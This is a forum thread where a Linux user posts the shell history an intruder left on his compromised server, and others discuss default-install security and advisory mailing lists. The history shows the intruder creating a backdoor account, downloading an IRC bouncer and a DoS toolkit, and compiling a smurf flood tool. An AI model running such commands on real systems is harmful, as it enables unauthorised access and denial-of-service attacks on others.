Very Strange Problem - Have I been hacked ?

[B-Man]

Was nice of them to leave all of this... Here's some more I have discovered......

I don't think it is a worm 'cause you can see that they make typing mistakes....

w
ps -ax
uptime
w
w
useradd zunja
passwd zunja
uptime
ls -a
w
cd /home
ls -a
ifconfig
uptime
w
ps -ax
uptime
w
exit
uptime
hostname
ifconfig
w
w
w
w
ls -a
wget http://www.psychoid.lam3rz.de/psyBNC2.3.1.tar.gz
gunzip psyBNC2.3.1.tar.gz
tar -xf psyBNC2.3.1.tar
cd psybnc
make menuconfig
w
w
uptime
exit
hostname
ls -a
uname -a
cd /tmp
ls -a
mkdir tmpd
gcc
cd ~
rm -rf psybnc
rm psyBNC2.3.1.tar
exit
uptime
w
ls -a
exit
uoptime
uptime
w
cd /tmp
mkdir tmp
cd tmp
cd tmp
gcc
ls -a
pwd
wget http://packetstormsecurity.org/DoS/spike.sh4.zip
unzip spike.sh4.zip
ls -a
./spike.sh
spike
make
pico readme
less redame
vi readme
vi spike.sh
ls -a
gcc -o smurf smurf.c
whois zunja.biz
whois zunja.net
whois zunja.info
whois zunja.gs
exit


I have rebuilt my site - had to go through all the content as all my index.html files I have had been modified too.

Won't put the site back up until I have secured the system properly this time......

You live and learn hey !

Cheers,

[morpherex]

How common is it to get hacked on any linux distro, only if you give your IP out to a few people.. Ones that you trust. I think that indonesian is feeling kinda sorry about doing that now.

[craig_mcd]

You dont have to give your ip address out to get hacked. Most s'kiddies/crackers dont seek out your box (well the might if they knew you or had a use for your specific system/network ), they would scan a broad range of ips and then just look for any running services that can be exploited.

Most linux distro's default isntall are terribly insecure, maybe even more so than a M$ product.

[wassy121]

you know, you are right. Most distros. NetBSD hasn't shipped with a remote exploit in their default install in like 5 years though. Also, if the distro realizes something is compromisable they will send out an email to everyone who has registered (even the free registrations) letting them know that it is insecure, and that there is a patch/new rpm/workaround. This is a lot better than Windows idea of "we know it exists, but we aren't classifying the problem as high enough to actually fix"

[craig_mcd]

Openbsd has had 1 exploit in its default install in the last 7 years, but the bsd crowd are more restrictive (from what I have seen) on what goes out in each release.

They are plenty of really good mailing lists, essential reading if your an admin.

[l_Kriss]

a good linux security recource, oddly enough, is www.linuxsecurity.com

Sigup for the newsletter also, good reading!

[craig_mcd]

I find Vulnwatch the most usefull.